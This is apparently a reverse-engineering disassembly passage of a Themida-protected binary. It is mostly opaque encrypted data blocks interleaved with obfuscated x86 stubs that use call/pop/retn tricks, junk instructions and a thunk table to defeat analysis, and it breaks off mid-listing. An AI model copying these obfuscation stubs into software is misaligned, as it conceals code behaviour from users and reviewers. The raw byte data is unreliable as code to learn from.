0A36BC5E5h, 7AEBC8BEh, 168E989Bh dd 6673F3DCh, 0B265248Dh, 468EBC10h, 634764A9h, 2E5F7CD4h dd 0A8A6CB4h, 11D0187Dh, 8A6D62E0h, 0BC4DB90Ah, 0AD52C090h dd 0CF685Ah, 0BDCE0000h, 0C28E1D6Ch, 6EFF4DE0h, 0DBFF4E2Fh dd 677C68Eh, 109DB101h, 0A2FC714Eh, 6B109DAFh, 1DB0A22Ah dd 18A98F2Fh, 0E2072534h, 0AC3C53E1h, 9A6C7A6h, 783DA41Eh dd 5AC95D47h, 0BCBCBA57h, 78656F0Eh, 8DDE0005h, 60F1D916h dd 0C2E8DECh, 2AA4D9BDh, 0F30A89CBh, 6062F392h, 0ADEC7DCBh dd 0DAD604CCh, 4AC4398Fh, 7E0A89CBh, 0CF4E1F29h, 5F7C1D80h dd 74291C2Eh, 0D3F01510h, 0D4F262EFh, 80F55FEEh, 79F9823Eh dd 2885C067h, 0FE000008h, 2208A6B0h, 3A20BE90h, 2406A4A6h dd 3B1DBD93h, 1508A6AEh, 0F064F11Ah, 0F260F0D2h, 0EF59EED4h dd 0F458E9CFh, 93C20DD6h, 16B69537h, 0BDB5A900h, 0E4C6E470h dd 0F3DCFB51h, 0EDB27156h, 0E9E7F193h, 0E06CBD4Fh, 1571E4C3h dd 0DE109DB5h, 99B635BFh, 0B4CB47B6h, 0D104109Dh, 109DB575h dd 4A90DF3Eh, 850455F7h, 67FADCE4h, 0DABB8D22h, 713D2FDh dd 92CB3CF1h, 8B46C035h, 8E0F109Eh, 0D1181846h, 6DE716B5h dd 0A2168640h, 0ADF65085h, 5EBF0A85h, 17B4D996h, 0DAAA233h dd 32BA9625h, 0ADE5B124h, 88DF0A85h, 0A8A16834h, 8563D935h dd 3C63A20Ah, 0CCAD741Dh, 0B6E6D1EEh, 0C4385A31h, 0AA2C22AAh dd 5CEBD811h, 452465F4h, 0F7664966h, 0A84CD9Bh, 68972164h dd 1075BEC9h, 79D7684Ah, 0C21FA9E8h, 6C2DA043h, 0E77294Ah dd 0E114B3D3h, 7699BA48h, 3775C449h, 6775432h, 7083B8B9h dd 0DFC8E726h, 1EEA3216h, 2B28B089h, 0BB95260Ch, 0BE8E1F31h dd 0E2A73A20h, 0A7AD3C51h, 47167796h, 7AB2A7C6h, 8FDA0417h dd 6FDFDD8h, 9D290000h, 0A73719B9h, 8F2107A7h, 0A6351BBBh dd 97260CAAh, 12E1DBDh, 0D7F75DECh, 0CFEF63F1h, 0D4F256E9h dd 0D1F15BEEh, 3C96C708h, 516B696h, 0BEA3B28Ch, 0D96C3B02h dd 0E180D15Ah, 0FA3993C2h, 9FFE1685h, 0C3C81A40h, 2221876h dd 0A51421E2h, 0AF1475C4h, 1CED111Bh, 0EBCBAA4Bh, 88D975C5h dd 2459F346h, 800AD4AEh, 901D38EFh, 96000006h, 8AB00E48h dd 92B81638h, 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h dd 5AF8486Ah, 4701567Ch, 5CF04167h, 0FB6A757Eh, 16B6959Fh dd 0A30D3168h, 7AEBC8BEh, 16856A22h, 0E2FCE0E7h, 80B0980Ch dd 0DFC4680Eh, 9DFCFEE2h, 81C71C3Eh, 4A8751B0h, 5877D568h dd 1FADE272h, 82E32233h, 7552B3h, 0A851286h, 0D806CE4Fh dd 0D4F38FD8h, 851231A1h, 51E0E20Ah, 0B2D33203h, 11F352A3h dd 0D4A0A85h, 0A7B69225h, 97345E66h, 0A6BBA775h, 450F5Ah dd 0A3330000h, 0C6E9C6BCh, 0DD71C1E9h, 9DB532ACh, 529AFB10h dd 9DB55BB3h, 68F91C10h, 9DB4B919h, 5761010h, 86007552h dd 0BF109DB4h, 9DB3D44Eh, 0EB789D10h, 0FABA22AAh, 625CBE19h dd 7, 1B6C4F8h, 0B96A0000h, 0DBABB6DFh, 0A5E889FCh, 4169168Eh dd 0D7945CF0h, 0B4B855B6h, 22B9240Ah, 0ED20BFC7h, 60D0EA54h dd 0AF933055h, 44A32D1Dh, 268501E8h, 0BAEA88B7h, 3390F55Ah dd 9DD0BE0Fh, 4EB65A41h, 0CCEA8B0Ah, 0CA3B53E6h, 4EB65A50h dd 0E095F419h, 0C43BB87Ch, 60C702A9h, 0C6000005h, 0DA00DE78h dd 0C2E8C688h, 0DCFEDC6Eh, 0C3E5C58Bh, 0CD00DE76h, 98BC0962h dd 8AC8183Ah, 97B1062Ch, 8CC01137h, 0CB3A252Eh, 16B6984Fh dd 0BD5D0118h, 7251E06Ch, 0B4A62055h, 2E6F109Dh, 374F9AA6h dd 94886598h, 8C11168Eh, 93B90C2Eh, 0FF28CDEh, 0CB06A580h dd 507h, 0E3C3931Fh, 0C1E16DBDh, 0DDFD4DDFh, 0C6E46CFBh dd 0DFFF55E4h, 9B2A43ECh, 0A93719B9h, 942709A9h, 0A13416B4h dd 213E0BABh, 0B69872ECh, 7CE63B16h, 51E06CBDh, 90FC5072h dd 9DB5015Dh, 2A4BCA10h, 0E0F2FA1Bh, 0A86EFF4Dh, 50E1912Ah dd 0B686DEFCh, 1EA341E6h, 3Bh, 4BE0C244h, 0A2C7F3FDh, 0F96C7E4h dd 30168EACh, 7CF1CEEDh, 0A8A9522h, 0FC4B0556h, 61904F99h dd 0A8A94E1h, 0F3DCE38h, 5AAD0A41h, 7BE9h, 40E5CA00h, 5D35D8B1h dd 0A389539Dh, 0CCEBC8BEh, 9DB53D99h, 23870610h, 2936BE96h dd 8EFBE1B4h, 5C7B9A16h, 4D6AE476h, 26B6D565h, 9DFC1D2Ch dd 55834DCCh, 0D8D34F78h, 31E29545h, 1EF958A7h, 0A4350A8Ah dd 22D0AA8h, 36C9394Bh, 0CE3F9CFCh, 0A8A1654h, 0DEF0F81Dh dd 1433024Ch, 8AF992Eh, 40CB8A49h, 0F4A922Bh, 413h, 0D9B90A30h dd 8A5B2AA4h, 0F392F30Ah, 3F992362h, 0EBC8BEA3h, 8EAFAF7Ah dd 24355816h, 8EFF8F22h, 0A8A9A14h, 88D9B8DDh, 51BFE8D7h dd 0D771C6FFh, 590481F0h, 0B484F58Fh, 8BFAD9ADh, 107B8B9Eh dd 0A4293B7h, 0C3E025C2h, 0D6FD4DDFh, 0EA82864h, 0CE0CD457h dd 0C123C6F1h, 1227CF1h, 0AAEB0477h, 0E48FE605h, 0E567FADCh dd 86507754h, 23496D3h, 0FFEA569Eh, 0DFFF2887h, 0FF36318Fh dd 0C63724ACh, 0A684253h, 96B8890Ch, 0BD194C44h, 86FE643Bh dd 0F3D76607h, 95AEB63h, 0AF05F089h, 371BCC3Dh, 2E20A8A8h dd 3411B19Bh, 40B4D40Bh, 0BDE150E9h, 3455E470h, 2D5990ACh dd 0BF4AA98Eh, 83D27ECDh, 2C3C9D02h, 3215428Ah, 9A66E015h dd 0EE2FFE64h, 869AA7E6h, 2830455h, 8EBE0F33h, 94B80931h dd 0ED7C44C5h, 0C73658E9h, 0F851864Bh, 0C190F114h, 10212D7Dh dd 0CF992FCh, 0F3C536B8h, 0CA3B98EEh, 0FE4272BFh, 644665A8h dd 63717BD1h, 0D160EC3Dh, 65F460EDh, 570B80F2h, 28684606h dd 0F7664541h, 0F82F60A2h, 272B3A5Bh, 0B1A7B696h, 0E3FECA3Fh dd 7CD104A3h, 0A5F21C4Ah, 0CE3B427Ah, 59632067h, 0C29890Ch dd 7560BA2Bh, 6499E618h, 0E61874EAh, 800552B3h, 89C31638h dd 94396B8h, 12746DA9h, 62E540B5h, 2F6EEC09h, 5F6FEF1Eh dd 4CC6E005h, 4CCF8DAFh, 3D776C26h, 0CB000000h, 0EBC8BEA3h dd 8E989B7Ah, 0D2666C16h, 192824B5h, 0DBF899F8h, 58E969F7h dd 0C130AF39h, 0A8A8941h, 2ADD6E98h dd 0C697B508h, 7445A481h, 99F87BDAh, 7BC9874Fh, 0D9715AADh dd 0C5000000h, 8D1D6CBDh, 701170C1h, 0C8BDE2E1h, 0A925584Dh dd 72109DF7h, 59C2AC13h, 3786C810h, 0B70A4C1Dh, 2F82C495h dd 0BFA0BD1Dh, 9EABD44Eh, 95B30810h, 97F645C4h, 0A8D9BE4Dh dd 9021109Eh, 0A93C1EBCh, 4B9692A3h, 0FC699C3Bh, 0A5168F78h dd 0CC5F4360h, 56E9ED7Ch, 432263F2h, 0EE7FCF5Fh, 0F73725AFh dd 0C63794F2h, 1075E02Ch, 0CFF3D035h, 0CEF4D282h, 6CE6177Fh dd 350475CDh, 74BCB1D0h, 7979FB2Bh, 1D597B2h, 5510000h dd 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h, 0FF4E7452h, 0E9467555h dd 0BF1F3584h, 0A7074B99h, 0BC1A2E81h, 0A9094396h, 0D44EBFA0h dd 9D16B69Ah, 0E5C2DA84h, 5A717BAh, 9CCD1511h, 109E3142h dd 0B82D8A0Bh, 109E315Eh, 0FCDEE627h, 0E1C7E76Dh, 84DEFC50h dd 0EBC8BEA3h, 8E989B7Ah, 0D4666C16h, 0CBAAEB7Ah, 888B0B7Ah dd 0A8E20A8Ah, 3E2BE913h, 0CF935AADh, 0A7000000h, 197CDDC2h dd 8C7F4E84h, 8DBF1244h, 94B9ABCh, 93C2C938h, 2B0F109Eh dd 292BB59Dh, 0B87F698h, 0D4109E93h, 0D0F2D0B1h, 617ECF7Dh dd 0B2404E76h, 0AC34A692h, 8E2D5990h, 35F8EB1h, 0CC109E6Fh dd 95007F49h, 3E168F3Fh, 3EBFDE19h, 0ADCC2A12h, 0B3992C0Eh dd 7B5963A2h, 4360263Bh, 4CC1CF5Fh, 0A8B97D2h, 4A1B7A9Bh dd 0F757E7CBh, 0A07DF0EDh, 691075F5h, 16A38724h, 2BBAA03Eh dd 4FA63429h, 10D779FBh, 0D635h, 54025000h, 4C025476h dd 52F84C6Eh, 53FD4E74h, 54004D73h, 83E84776h, 9AC01E36h dd 88AA084Ah, 93B51533h, 9FAC0A42h, 9BD14DC0h, 879A16B6h dd 51E0C2DBh, 9D33203h, 0FCDA7AC7h, 0E9C983D6h, 0F953E6CCh dd 6CBD65EFh, 0DC6D51E0h, 1745370h, 109DB485h, 0D6E8CF4Eh dd 0AE23669h, 0BAF6E4ECh, 85F8D7AFh, 16853007h, 0AB595B44h dd 2010BEC3h, 7BCA4B98h, 68460657h, 7E5DEF42h, 0C4B22C61h dd 1A7B0A83h, 133413D2h, 83C568E2h, 0CFEC310Ah, 83C5449Eh dd 40880D0Ah, 2609F2C1h, 0A2175B55h, 0CFEF5DF0h, 0D7F458E9h dd 0BD414AF0h, 0BDF9DE6Ah, 489721A5h, 3C9BB506h, 0B889C316h dd 0FCD08F59h, 0F849F992h, 1547654h, 0F2466C4Bh, 0F4D19058h dd 3, 0BDE17B5Ah, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 85682434h dd 8900006Ch, 0DD68242Ch, 89000011h, 0EABD2414h, 56342C71h dd 1393F7BEh, 5EF5292Eh, 0D8368h, 24248900h, 4240483h dd 8B8505Ah, 2D000000h, 3C7B522Dh, 2D05D001h, 893C7B52h dd 148B5828h, 0E0895024h, 405h, 40500h, 4870000h, 34FF5C24h dd 0C4815D24h, 4, 0FA985BE9h, 0D0F20DFFh, 16EC3974h db 0F6h, 11h, 0CEh ; --------------------------------------------------------------------------- loc_5DABDB: ; CODE XREF: Themida_:005DA068j mov eax, 618E88Eh add eax, ebp jmp eax ; --------------------------------------------------------------------------- mov al, ds:9E008413h xchg ecx, esi db 3Eh xchg eax, ebp mov byte ptr [ecx+edi-47h], 61h mov eax, 2A589C52h cmp [ebp+18EA168Dh], ecx push es mov edi, [ebp+6133181h] mov [ebp+6131BBDh], ecx push 0 push ebx call sub_5DAC15 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DAC15 proc near ; CODE XREF: Themida_:005DAC0Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5DAC15 endp ; --------------------------------------------------------------------------- db 0EDh, 0FFh, 97h ; --------------------------------------------------------------------------- adc [ebp+79h], edi pop esp mov eax, [ebp+61328C1h] mov dword ptr [ebp+61318DDh], 72F0h push 0 push edx call sub_5DAC47 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DAC47 proc near ; CODE XREF: Themida_:005DAC3Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5DAC47 endp ; --------------------------------------------------------------------------- or cl, [edi-2B10C1B9h] jle loc_5DAC67 mov di, 4BD7h loc_5DAC67: ; CODE XREF: Themida_:005DAC5Dj mov dword ptr [ebp+6133055h], 0 push 0 push edx call sub_5DAC7C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DAC7C proc near ; CODE XREF: Themida_:005DAC74p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5DAC7C endp ; --------------------------------------------------------------------------- push esi dec esp sbb ax, 9157h push dword ptr [ebp+6131B65h] mov ax, 937Eh call dword ptr [ebp+6131D89h] push 0 push ebp call sub_5DACAE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DACAE proc near ; CODE XREF: Themida_:005DACA6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5DACAE endp ; --------------------------------------------------------------------------- dw 1EA6h dd 0D917DE4Dh, 0E92316B3h, 0Dh, 0D772FDDh, 0AD8936A4h dd 6A0C2474h, 0FF006A5Dh, 130DA995h, 0EBC08B06h, 5D8A2049h dd 9D7C59F8h, 0BD305FA2h, 869FD9BBh, 0E5C09FC3h, 81047C6Ah dd 0A622E3E0h, 0E92DE624h, 7FBC4B97h, 2E1905DFh, 0C60B6867h dd 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh, 72D7CB71h, 75743C53h dd 0EFF6FC5Bh, 1DAAC45Ch, 20E947FFh, 35000000h, 5238F0h dd 6 dup(0) dd 0E9000000h, 58Ch, 7757FF4Bh, 6D4D0151h, 7151F94Bh, 7250004Fh dd 73530150h, 2F7EEF40h, 15A38525h, 28BB9D3Dh, 0DA08220h dd 8DD29F3Fh, 0B69EFE58h, 6D52C716h, 0E6C42A42h, 0EAF23CE8h dd 4FE0C270h, 4495B701h, 0C8153908h, 0B90C2E8Ch, 2D80C293h dd 0BA0C4E1Fh, 0E012C594h, 6026B76Bh, 0FF179B05h, 8A6C716h dd 0D6B10327h, 1EA6C781h, 2A1A73Ch, 0BAAD521Dh, 6A721960h dd 91F1466Ch, 527B1B8Dh, 54E584F4h, 5370E272h, 0DE6FDF6Fh dd 71ED20BFh, 3A109DD2h, 7E5211DBh, 78CB7714h, 7DD0F2D0h dd 8E0F7ECFh, 7109DD1h, 0EB5DF2D8h, 0D23D99CCh, 8706109Dh dd 1636D33Dh, 0A341F746h, 97EEh, 6CBD5400h, 507251E0h dd 0FA895301h, 109DB49Eh, 72E3C413h, 109DB518h, 0EE1FBCE1h dd 109DB574h, 7610D83Dh, 0EA19D705h, 1C1A341h, 95000000h dd 50E16DBDh, 5572DC6Eh, 52005072h, 77D38203h, 40109DB5h dd 725413DDh, 6A506FE1h, 65F9ADD5h, 0A4922A1Fh, 0FB6CFBC5h dd 6D550277h, 0BFDE6FDBh, 0F8932335h, 6F54E563h, 30B6D662h dd 0D4FB9AC1h, 5373E399h, 0B51273CDh, 42133F8Dh, 252DFC3h dd 0CC0AD233h, 0D979C7EBh, 8DBF0988h, 50FC4D3Ch, 891E8001h dd 6200DEBFh, 55E470BDh, 0DC6DE171h, 55E466FAh, 0E170E471h dd 0AB57F4DEh, 0E627361Eh, 58F15F87h, 9A391BAAh, 8A2927B8h dd 9DB4FF5Bh, 7B45C810h, 62EA7B5Dh, 0C0CA5D45h, 9DB4D14Dh dd 1A7B9A10h, 9D2F13D2h, 0D179CBEFh, 9DB526A0h, 0CFAEEF10h dd 7F5CC7F0h, 8DDC74C3h, 0A701A70Ch, 0C998B206h, 409F2948h dd 0C9183A19h, 3095BA8Bh, 23ADE8A3h, 28C5435h, 95856389h dd 702DA341h, 11000000h, 1670E5C2h, 0DF109DB5h, 952436BEh dd 18ACAEBFh, 42B02332h, 88CC19C9h, 9BB9082Ah, 193788CAh dd 54E52148h, 0F55184A3h, 29109DB4h, 60A5B296h, 0E8200058h dd 0E5C2A341h, 0A01E74BAh, 0BEAF9B17h, 109EAB64h, 0AAEE689Dh dd 56B7109Eh, 0DA6EC109h, 616B0A8Bh, 323Ah, 70BD2000h dd 0DE7155E4h, 0D2654D6Ah, 0DCFF6E76h, 408D45B6h, 0BD1CB614h dd 2150E16Dh, 109DB4A0h, 54E4C619h, 1F9CF6FEh, 41EA3FFDh dd 1A7A3h, 0BDBB0000h, 4C8EDF6Bh, 0CE0253F9h, 0E97B27A4h dd 1C454161h, 0D2654D6Ah, 55E3E776h, 4C2D6CFDh, 52785784h dd 9BFA4BFDh, 0B1E3B251h, 7194168Eh, 14BDEE0h, 5B2E7FA1h dd 93F2430Bh, 9DAC9C2Fh, 0F4C1D7Ch, 64F39E2Bh, 5D3C5DECh dd 0C4438D0Ch, 0A8AB048h, 0CF781181h, 0B0217DF0h, 0ABEA0A8Ah dd 0AE9E2F21h, 0B5972A10h, 3D0FA2A4h, 4FEC662Ch, 9C3A12A3h dd 0AD117040h, 14FD85Ah, 0C27E0000h, 0B51670E5h, 0BEDF109Dh dd 0A7DF0A36h, 0BC8E2208h, 73B62734h, 0C168EBCh, 4396B889h dd 3687A909h, 22084716h, 4E70C193h, 9FFE4FF9h, 51E4F6FEh dd 0D3686AFBh, 4FE2E475h, 77FB6CFDh, 73A44D02h, 0EBFBDB6Ch dd 55E6648Ah, 0FBA37DA2h, 15D7B169h, 1D2C20B1h, 4FE2F4FCh dd 0B785DDFDh, 1F5AADD3h, 59h, 51DDC243h, 1979B7E2h, 45B5761h dd 5C7E617Eh, 96F7460Ch, 7F43BF4Eh, 0B4C6F62h, 9DE880DAh dd 291FB490h, 86D7FB1Ah, 6796A7C6h, 909DE7EBh, 420683EDh dd 0F46E9F25h, 0BD909DE7h, 6BE57658h, 0FDDABBDAh, 627EEE88h dd 0F64367EFh, 468E0F5Eh, 6B4664A9h, 91h, 4BE0C2C7h, 0C8A9AB3Ah dd 6AFB55E6h, 4C95A12Bh, 0D766E677h, 85F8D7B6h, 168EA178h dd 2E2D3C61h, 11C40E09h, 5DBC8DC1h, 88B43E76h, 0A9B89226h dd 0DB6E6068h, 0DE6F5171h, 2DAEDF6Eh, 6E0A8A92h, 0AA3BE764h dd 8F1D05A2h, 0DBDBF9C3h, 32A30086h, 10723B3Bh, 183286ACh dd 6300C849h, 9E2F1322h, 94C99FAEh, 4C85C0ABh, 7B452895h dd 0B9B07811h, 10C9EECDh, 2FDF095h, 0F1CE0BD5h, 89D87CC9h dd 3657F345h, 0C50F4594h, 58792F46h, 0CDED300Ah, 0C8BEA373h dd 3EE3CCEBh, 2847DA19h, 0BBB2519Bh, 2C168614h, 8600B03h dd 9F3097B5h, 40AD3791h, 6B4F8CDDh, 686A72DAh, 291FB4D5h dd 3A98F918h, 91DC321Dh, 6D246538h, 6CE07163h, 6CDCACDDh dd 28BC3EA5h, 0A12F1322h, 0E26A36EBh, 4D2C73AAh, 92276BFCh dd 8BAF90A3h, 3FC9133Bh, 87C518CAh, 9CB00127h, 503A89CDh dd 942AEADAh, 6CCA80C2h, 869A9B00h, 0E8FC4D2Ch, 0CC5D15A6h dd 0AD002280h, 0A991CE9Fh, 0E2233216h, 11FFDAh, 0F7E00000h dd 38749190h, 0C981D30Ch, 70781978h, 0BDE17BE6h, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h, 4C7h, 4BE5600h dd 29000000h, 3C875EF7h, 89525C24h, 4C281E2h, 83000000h dd 148704EAh, 1C895C24h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 243C895Ch, 18EA8E68h, 241C8B06h, 4C481h dd 0EC830000h, 24248904h, 4240483h, 3481535Fh, 36100B24h dd 8478F37h, 100BBE56h, 77313736h, 3C8B5E08h, 0E0895024h dd 405h, 40500h, 4870000h, 1C8B5C24h, 0E2895224h, 4C281h dd 0C2830000h, 24148704h, 9156E95Ch, 0EDD7FFFAh, 0DA3D931Ah dd 4D1D4049h, 0E757545Bh, 18EF76B8h, 0FFC50306h, 6F1FCDE0h dd 37F27206h, 0ADAEE17Eh, 795F6351h, 923DBF64h, 1843553Fh dd 0A4203865h, 99B55425h, 0A8E75233h, 38A04F5Ch, 0D8408607h dd 0EDF8F317h, 0D380B209h, 0AD313E17h, 0EF1F2C63h, 0A69B24h dd 0E5D8F26Ch, 28D11E2Dh, 0B432E105h, 366B5749h, 0A34EA63h dd 0DF2450Fh, 93E60E44h, 1E6BC877h, 4ACE5F4Bh, 48F00676h dd 0FAD65D46h, 3F6C5C11h, 0B31FD24Ah, 637A1534h, 11E863h dd 3DEB0000h, 0BE217022h, 0C3E95150h, 451C26E8h, 0FDE0BC0h dd 28Ch, 58CF8B00h, 81DABF0Fh, 5AE0C0h, 2719BF00h, 0F781131Bh dd 131B3180h, 0B1308BFCh, 64EE819Ch, 8174477Ah, 52A5E6DAh dd 19C6810Ch, 0E84C46FCh, 7, 52260626h, 0F542239h, 84h dd 0C6815900h, 74994BAFh, 0CFF38166h, 0BF0F56FCh, 66008FD6h dd 24F5CB81h, 6603E883h, 4892A0BAh, 850F4FFCh, 0FFFFFFB1h dd 8D8DD78Bh, 618F19Fh, 89F7BF0Fh, 131BBD8Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 2DE624A6h, 0DD85C7E9h, 8C061318h, 66000059h, 85C7D98Bh dd 6133055h, 0 ; --------------------------------------------------------------------------- add [ebp+61306BDh], esi push dword ptr [ebp+61320B9h] jmp loc_5DB447 ; --------------------------------------------------------------------------- stc leave jbe short loc_5DB491 inc edi xchg eax, ebp loc_5DB447: ; CODE XREF: Themida_:005DB43Cj call dword ptr [ebp+6131D89h] jmp loc_5DB462 ; --------------------------------------------------------------------------- dw 7ABEh dd 0AEDBA021h, 77F1C840h, 0F670412Fh db 0FBh, 0A1h ; --------------------------------------------------------------------------- loc_5DB462: ; CODE XREF: Themida_:005DB44Dj push 0 call dword ptr [ebp+6130DA9h] mov eax, eax jmp short loc_5DB49D ; --------------------------------------------------------------------------- dw 2D59h dd 1ADF0E52h, 0C7587ADh, 629A0D65h, 69A6111Eh, 91AAD0C8h dd 0DE5B9F44h, 32FF62D5h, 0AFF27224h db 3 ; --------------------------------------------------------------------------- loc_5DB491: ; CODE XREF: Themida_:005DB443j enter 0FFFFE2BAh, 0Dh loope loc_5DB4FB xor edi, [ebp+53h] push ecx stosb ; --------------------------------------------------------------------------- db 18h ; --------------------------------------------------------------------------- loc_5DB49D: ; CODE XREF: Themida_:005DB46Cj call near ptr loc_5DB4A2+5 loc_5DB4A2: ; CODE XREF: Themida_:loc_5DB49Dp sub [edx+0F086049h], edi test [ecx], ecx ; --------------------------------------------------------------------------- dw 0 dd 38C0F00h, 0F000000h, 815BD1BFh, 6FDEC3h, 0BFFCB200h dd 0 ; --------------------------------------------------------------------------- sbb edx, 2D186859h loc_5DB4CA: ; CODE XREF: Themida_:005DB571j mov ecx, [ebx+edi] push edx jno loc_5DB4D5 stc loc_5DB4D5: ; CODE XREF: Themida_:005DB4CEj pop esi add ecx, 13FBB23Eh push esi jmp loc_5DB4EB ; --------------------------------------------------------------------------- dw 0CFFBh dd 1995FE47h db 9Eh, 0ECh, 2Dh ; --------------------------------------------------------------------------- loc_5DB4EB: ; CODE XREF: Themida_:005DB4DDj pop esi add ecx, 4990231h call sub_5DB507 add bh, [ebx+2Fh] inc ebp loc_5DB4FB: ; CODE XREF: Themida_:005DB495j xor [eax], esi jg short near ptr loc_5DB521+1 in al, 0D7h test [edx], esi cmp byte ptr [edx+1Dh], 4Fh ; =============== S U B R O U T I N E ======================================= sub_5DB507 proc near ; CODE XREF: Themida_:005DB4F2p and esi, [ebp+6130D05h] pop eax xor ecx, 8BCF7DBh pusha call near ptr loc_5DB521+3 sbb eax, edi push 0A0239B6Bh loc_5DB521: ; CODE XREF: Themida_:005DB4FDj ; sub_5DB507+Ep or eax, 0B50369A7h sub_5DB507 endp ; sp-analysis failed mov ch, 0 adc eax, [esi] pop eax stc popa push ecx mov [ebp+613221Dh], edx pop dword ptr [ebx+edi] mov dx, cx sub [ebp+613211Dh], esi sub edi, 1FA2C413h movzx eax, di add edi, 1FA2C40Fh mov ax, cx cmp edi, 0FFFF9104h jnz loc_5DB56E stc jmp loc_5DB588 ; --------------------------------------------------------------------------- fdiv qword ptr [ebp+edx*8+30h] adc ebx, ebp fmul dword ptr [edx+4Eh] pop esi loc_5DB56E: ; CODE XREF: Themida_:005DB558j movsx esi, cx jmp loc_5DB4CA ; --------------------------------------------------------------------------- cmp eax, 917793D4h movzx edx, word ptr [ebp+40h] sub [edx], edi sbb eax, [edx+2EB42709h] push esp loc_5DB588: ; CODE XREF: Themida_:005DB55Fj jmp loc_5DB66E ; --------------------------------------------------------------------------- xor eax, 0D706D984h pushf inc ebp retf 0C8C3h ; --------------------------------------------------------------------------- db 0E1h dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h dd 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh dd 0 dd 129D7447h, 5E99E0E3h, 0Ah dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5DB66E: ; CODE XREF: Themida_:loc_5DB588j jmp loc_5DCB86 ; --------------------------------------------------------------------------- push 618F5E6h jmp loc_58442C ; --------------------------------------------------------------------------- push 618F6ECh jmp loc_58442C ; --------------------------------------------------------------------------- push 618F7FBh jmp loc_58442C ; --------------------------------------------------------------------------- push 618F95Ah jmp loc_58442C ; --------------------------------------------------------------------------- push 618F9BAh jmp loc_58442C ; --------------------------------------------------------------------------- push 618FA7Fh jmp loc_58442C ; --------------------------------------------------------------------------- push 618FB37h jmp loc_58442C ; --------------------------------------------------------------------------- push 618FBE6h jmp loc_58442C ; --------------------------------------------------------------------------- push 618FCADh jmp loc_58442C ; --------------------------------------------------------------------------- push 618FDB7h jmp loc_58442C ; --------------------------------------------------------------------------- push 618FE9Eh jmp loc_58442C ; --------------------------------------------------------------------------- push 618FFE0h jmp loc_58442C ; --------------------------------------------------------------------------- push 61900C8h jmp loc_58442C ; --------------------------------------------------------------------------- push 61901EDh jmp loc_58442C ; --------------------------------------------------------------------------- push 6190378h jmp loc_58442C ; --------------------------------------------------------------------------- push 6190529h jmp loc_58442C ; --------------------------------------------------------------------------- push 6190624h jmp loc_58442C ; --------------------------------------------------------------------------- db 10h, 0C2h, 94h dd 8CC21436h, 92B80C2Eh, 93BD0E34h, 94C00D33h, 0C3280736h dd 0DA00DE76h, 0C8EAC88Ah, 0D3F5D573h, 0DFECCA82h, 0A9118D00h dd 0C7DA16B6h, 51E0C29Bh, 4697B903h, 6E9FF543h, 109DB4F4h dd 583958BDh, 4A0A577Bh, 4EDFE382h, 89E0E0FEh, 8C01DEFDh dd 109DB512h, 737DF4DBh, 3FC59797h, 1449965Eh, 168F2DD9h dd 0E3122362h, 0A8B2A63h, 2E3F0F9Fh, 0FB3992Ch, 0D5BD8CBCh dd 0ED7BE3Bh, 335AE9D1h, 7E9FAEA6h, 0B70C4E1Fh, 2041C091h dd 0AFDD6E98h, 5AAC93E1h, 6149h, 0BEA3ED00h, 0D48D3802h dd 0DB0A470Ah, 109E0F7Fh, 0FFA4C548h, 36D1683Fh, 0EECDAC79h dd 8F809E7Fh, 912E6F16h, 70E33FAEh, 8D140A8Bh, 5351874Bh dd 21ABEA79h, 0A9D85C2h, 0E6EE2F3Eh, 8B7E27A7h, 7ED6630Ah dd 0F55DEBEFh, 97349E64h, 123827AEh, 5EBF8EC0h, 5D7FFC96h dd 5AAC239Fh, 0E647h, 6CBD1B00h, 0E06D51E0h, 1B2A1EB1h dd 88CA9BFAh, 97B81735h, 9DB4EC66h, 0C3912010h, 18C71174h dd 53E6A336h, 0D46668F9h, 5C7A1B7Ah, 7DBC547Bh, 9450E54h dd 44C594B8h, 0FB578625h, 0C4109E3Ch, 74087741h, 0E1109E38h dd 38138FFEh, 0B9DC109Eh, 0C08C1D2Fh, 4CA1BCE3h, 4B70DA6Eh dd 0E3ED67DDh, 0CA82D3F5h, 0A4243D7Bh, 9DD9D531h, 1E7F9E10h dd 0DF494CC1h, 0E322168Eh, 0E89EC3C3h, 35B79ACBh, 0D901075h dd 173D8CAEh, 104491B7h, 0FA571D5Dh, 0C29F4E79h, 11F7h dd 9F3F17A3h, 852529B9h, 993911A3h, 8A2828B7h, 